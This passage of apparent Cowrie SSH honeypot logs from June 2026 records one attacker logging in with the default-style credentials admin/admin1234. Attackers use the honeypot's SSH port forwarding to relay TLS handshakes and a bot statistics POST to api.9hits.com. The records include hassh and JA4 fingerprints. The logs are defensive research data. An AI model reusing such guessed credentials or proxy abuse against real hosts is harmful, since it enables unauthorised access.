{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\x1d\\x1d\\x80\\xd6<\\xe1\\xf6+^2\\x0e\\xb4B\\xbbvV\\x89\\x14\\xfe&\\xec\\x81\\xed(J=U\\x13M\\xabg wlC\\xd5\\x1fS\\x90\\x89\\xc0d.\\x9f\\x7f\\xbak\\xfe\\xd5\\x9cE,c$\\x1b\\xf5\\x83\\xfc\\x12w$\\x88\\xf8\\t\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1\\xc0d\\x962\\xf6\\x1f\\xda\\xcfy\\x10x\\xe6\\xa9l\\x95^Q\\x92'\\xf8\\xe1\\xc8\\x07*\\x1eu\\xc4AX[#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\x1d\\x1d\\x80\\xd6<\\xe1\\xf6+^2\\x0e\\xb4B\\xbbvV\\x89\\x14\\xfe&\\xec\\x81\\xed(J=U\\x13M\\xabg wlC\\xd5\\x1fS\\x90\\x89\\xc0d.\\x9f\\x7f\\xbak\\xfe\\xd5\\x9cE,c$\\x1b\\xf5\\x83\\xfc\\x12w$\\x88\\xf8\\t\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1\\xc0d\\x962\\xf6\\x1f\\xda\\xcfy\\x10x\\xe6\\xa9l\\x95^Q\\x92'\\xf8\\xe1\\xc8\\x07*\\x1eu\\xc4AX[#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:25.256667Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:25.278702Z","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:25.317474Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\xea\\x95\\xda\\x9bmf\\xc7\\xec\\x9c\\xdc:J-cH*\\xd9\\xc3\\xa5\\x031\\xf0\\xecqj\\xd7\\xc5\\xdf\\x9e<\\x0c <#\\x8e=\\xe8\\x15.!\\xce_\\x9a\\xc1^\\xa9\\x95\\xbc!h\\x83\"\\xad\\xa8M\\xae\\x96\\x97V\\xf1l)\\xf4\\xe8\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 F\\x16\\x80UW\\x9dN\\xdc7\\x89\\xcf\\x83U\\xce{\\x96sQf\\x9eA\\x07\\xa7\\x16\\xda\\xcd\\xbe\\x99dg5\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\xea\\x95\\xda\\x9bmf\\xc7\\xec\\x9c\\xdc:J-cH*\\xd9\\xc3\\xa5\\x031\\xf0\\xecqj\\xd7\\xc5\\xdf\\x9e<\\x0c <#\\x8e=\\xe8\\x15.!\\xce_\\x9a\\xc1^\\xa9\\x95\\xbc!h\\x83\"\\xad\\xa8M\\xae\\x96\\x97V\\xf1l)\\xf4\\xe8\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 F\\x16\\x80UW\\x9dN\\xdc7\\x89\\xcf\\x83U\\xce{\\x96sQf\\x9eA\\x07\\xa7\\x16\\xda\\xcd\\xbe\\x99dg5\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:25.321260Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:32.711664Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7e087ff91a7","protocol":"ssh","message":"New connection: 113.164.152.20:60270 (10.17.0.5:22) [session: a7e087ff91a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:35.734372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:35.737622Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:36.049568Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:37.220765Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:37.926188Z","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.045471Z","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.363802Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1168\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=R3Y%2BV301clc5UT9UWmNoeA%3D%3DENskvo67CMoCq5PC9P%2B%2FuyUcZ9zphAzed0%2FZIufvkdEh8%2F09hXbGEii2Zh926k3a6qKIahglq9vp1pp8c1TNzQe2otXu4H6HCOoWW1yuYrOpU7CCYSwrEYKx9Svob3fcFqGOBKOz5L0bAtcSPH3VeYvAh9GJawVCq%2FWcPQp46DB8jD50%2FpoGgvvL%2BLgb0YAjr5%2BHF%2FKFsuf1Bnhaz0csXLtGeDrbPDit2dKroa7UnTjZqx7xFOB5wm5S9GfgEmJM6BCUdAvV2cCFrnteuK%2FTrZLkxFw795r%2BuIbpKI4kwrDDNmrpfg1x9rPXXSR7gTXrswpnX5a53nAFBWc%2FU5lhMCjd%2BCQshlsXc4pVnWmWyEMp0G8j2yykPmamMAFRKWEfogKqBM4UnF7nT9oksNbf1HdzH1kbEB5rNm1sjV3C72s%2FeMToyH7B1Rvs5YZWA%2BUrr3orayGw3NJ3HkFktb489HZf2C%2FLWC0c9n096d%2BQyfwtqfvx52G0w3EcYMGjwKmi9kGxPHHYZQZTr8NxUQuSZzrJxBRGyDE93qvfk0qvqF%2FvGoh2tRVn0OYZ%2B%2FQoC6%2BDPJn7NXZVNOwfFyUlL1gpYsUVBzHlciwocmkzolZZSRft8wWFcArcsKN%2FbwBSC7CEFg1zTHfCzDDpMgG3XKlKHHCp6%2FnX3oxrQLa3RN0JBWY5LGPxv5KyIMICu3SQWbEaSIx4cUcNYm0%2BVDUuDV4q9dFiIb3syqupjDSugDV3DB2KJ%2FMKHYYKy4p55lETDUAYB2cP2nWaIpiNfP42i%2F15pxy2irAgYEQxpO8orK7RKSSoxV7QzB1baZSb%2FZ6fZRFuJzFHVZbh2sZbou3rv34bFOMMOKk5WPe6P9PzooBQx%2FQ77miaseUa7mdWn4guniTF81%2B8KL3LeYegn8ZzBxOzZ2RmjmlcM30faOF9ZKbbGsByckm0WYYQLXLvO7TLSRkMWQDe1Zm9cwMIGE%2BrJMLvh3r3IWjOdKVZJi6tAGxZ0SBxPA14ZOjoKbBNFnB8RCQm3yWRAwnb8a0ti%2FaggOpufymZnfi5Wq7%2FSIh23%2FE9jrE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1168\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=R3Y%2BV301clc5UT9UWmNoeA%3D%3DENskvo67CMoCq5PC9P%2B%2FuyUcZ9zphAzed0%2FZIufvkdEh8%2F09hXbGEii2Zh926k3a6qKIahglq9vp1pp8c1TNzQe2otXu4H6HCOoWW1yuYrOpU7CCYSwrEYKx9Svob3fcFqGOBKOz5L0bAtcSPH3VeYvAh9GJawVCq%2FWcPQp46DB8jD50%2FpoGgvvL%2BLgb0YAjr5%2BHF%2FKFsuf1Bnhaz0csXLtGeDrbPDit2dKroa7UnTjZqx7xFOB5wm5S9GfgEmJM6BCUdAvV2cCFrnteuK%2FTrZLkxFw795r%2BuIbpKI4kwrDDNmrpfg1x9rPXXSR7gTXrswpnX5a53nAFBWc%2FU5lhMCjd%2BCQshlsXc4pVnWmWyEMp0G8j2yykPmamMAFRKWEfogKqBM4UnF7nT9oksNbf1HdzH1kbEB5rNm1sjV3C72s%2FeMToyH7B1Rvs5YZWA%2BUrr3orayGw3NJ3HkFktb489HZf2C%2FLWC0c9n096d%2BQyfwtqfvx52G0w3EcYMGjwKmi9kGxPHHYZQZTr8NxUQuSZzrJxBRGyDE93qvfk0qvqF%2FvGoh2tRVn0OYZ%2B%2FQoC6%2BDPJn7NXZVNOwfFyUlL1gpYsUVBzHlciwocmkzolZZSRft8wWFcArcsKN%2FbwBSC7CEFg1zTHfCzDDpMgG3XKlKHHCp6%2FnX3oxrQLa3RN0JBWY5LGPxv5KyIMICu3SQWbEaSIx4cUcNYm0%2BVDUuDV4q9dFiIb3syqupjDSugDV3DB2KJ%2FMKHYYKy4p55lETDUAYB2cP2nWaIpiNfP42i%2F15pxy2irAgYEQxpO8orK7RKSSoxV7QzB1baZSb%2FZ6fZRFuJzFHVZbh2sZbou3rv34bFOMMOKk5WPe6P9PzooBQx%2FQ77miaseUa7mdWn4guniTF81%2B8KL3LeYegn8ZzBxOzZ2RmjmlcM30faOF9ZKbbGsByckm0WYYQLXLvO7TLSRkMWQDe1Zm9cwMIGE%2BrJMLvh3r3IWjOdKVZJi6tAGxZ0SBxPA14ZOjoKbBNFnB8RCQm3yWRAwnb8a0ti%2FaggOpufymZnfi5Wq7%2FSIh23%2FE9jrE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.372619Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.638159Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03tO\\x9b\\'\\x817-y1I\\xf6\\xec\\xea\\xba\\xe2CUL\\xa0\\x884$\\x13\\xa5\\xaf\"\\xd7a@YT( \\xfc\\xaa\\xf5\\xd4\\xab\\x02\\x0b\\xc3Ba\\x0f\\x11\\x9b\\r\\xffCA?\\xb7[\\x8b\\xc5\\xdaQn\\x11\\xff\\x1c\\x1f\\xee\\xba\\xa5\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 